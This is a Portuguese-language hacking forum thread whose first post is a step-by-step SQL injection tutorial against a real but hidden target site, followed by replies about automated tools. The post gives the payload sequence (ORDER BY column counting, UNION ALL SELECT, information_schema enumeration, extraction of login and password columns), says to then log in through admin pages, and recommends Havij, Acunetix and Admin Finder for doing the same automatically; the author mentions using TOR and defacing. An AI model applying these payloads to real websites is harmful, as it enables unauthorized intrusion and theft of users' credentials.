Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Tutorial SQL Injection

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection

    Olá Pessoal ,

    essa aula estremos aprendendo SQL, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

    Aqui esta o site: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'



    Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

    Essa falha é baseada em erros.

    Vamos pegar o numero de colunas usando ORDER BY *
    É usado dessa maneira:

    +order+by+1 //Sem erro
    +order+by+2 //Sem erro
    +order+by+3 //Sem erro
    +order+by+4 //Sem erro
    +order+by+5 //Sem erro
    +order+by+6 //Erro



    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    Então são apenas 5 colunas

    Vamos uni-las, usando UNION ALL SELECT *



    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    Coloque um traço (-) antes do valor da variavel ficando assim:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    Irão aparecer numeros, eles que nóis iremos subtituir por informações:

    Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()


    +union+all+select+1,version(),3



    //--Brute Force--\\

    Vamos tentar colocar tabelas até que não apareça erro:

    UNION ALL SELECT * FROM ADMIN == erro
    "" "" "" "" LOGIN == erro
    "" "" "" "" USER == erro
    "" "" "" "" USERS == erro
    "" "" "" "" USUARIOS == sem erro


    Então no caso ficaria assim:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.

    //--INFORMATION_SCHEMA--\\

    DATABASE: INFORMATION_SCHEMA
    TABELA: TABLES
    COLUNA: TABLE_NAME

    Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

    Para ir passando de tabela você usa LIMIT *

    LIMIT 1,1
    LIMIT 2,1
    LIMIT 3,1
    LIMIT 4,1
    LIMIT 5,1


    ... E assim vai indo até encontrar uma tabela de login.

    Ex:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    //

    Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

    DATABASE: INFORMATION_SCHEMA
    TABELLA: COLUMNS
    COLUNA: COLUMN_NAME

    Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

    Para passar de coluna pode usar o LIMIT também.

    //

    Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:


    UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS



    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...



    Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php

    Primeiramente , vale lembrar que existe um método mais facil para isso , é utilizar 3 softwares -

    Havij , Admin Finder e Acunetix


    Pegue primeiro o site , escaneie com o Acunetix , pegue as url vulneráveis de SQL Injection do Site , coloque a url Vulnerável para escanear no Havij , Retire a Senha e o Admin com o Havij , Pegue a Página de Login com o Admin Finder e Logue no Sistema.

    Boa Sorte Pessoal =D !!

  • Font Size
    #2
    poderia ao menos colocar o programa que usou

    Comment


    • Font Size
      #3
      Postado Originalmente por sasuk90 Ver Post
      poderia ao menos colocar o programa que usou
      ele não usou programa nenhum, fez na mão a partir da url do site!!


      porem como ele disse existem métodos mais fáceis pelo uso de softwares citados acima
      ________________

      Comment


      • Font Size
        #4
        O Admin Finder não é tão preciso, o havij ja vem com admin finder.

        Comment


        • Font Size
          #5
          ...

          Postado Originalmente por sasuk90 Ver Post
          poderia ao menos colocar o programa que usou


          No Manual Utilizei Meus Dedos , o Firefox , o TOR e as "

          No com programa Utilizei o Acunetix , Havij e Admin Finder

          Comment


          • Font Size
            #6
            ....

            Postado Originalmente por Greaty. Ver Post
            O Admin Finder não é tão preciso, o havij ja vem com admin finder.
            Realmente o Admin Finder caiu muito em seu nivel , hoje em dia no seu escaneamento , ele não consegue mais pegar a página de login de administrador e quando pega , dá vários falsos positivos.

            O Havij por receber várias atualizações , tem um admin finder mais preparado para SQLi e por isso seria mais eficaz..

            Comment


            • Font Size
              #7
              ....

              Postado Originalmente por rike_GH Ver Post
              ele não usou programa nenhum, fez na mão a partir da url do site!!


              porem como ele disse existem métodos mais fáceis pelo uso de softwares citados acima


              Isso mesmo amigo , entendeu direitinho irmão


              Hoje em dia , não estou muito mais interessado em defacer... estou mais em hacking e forense.

              Comment

              X
              Working...
              X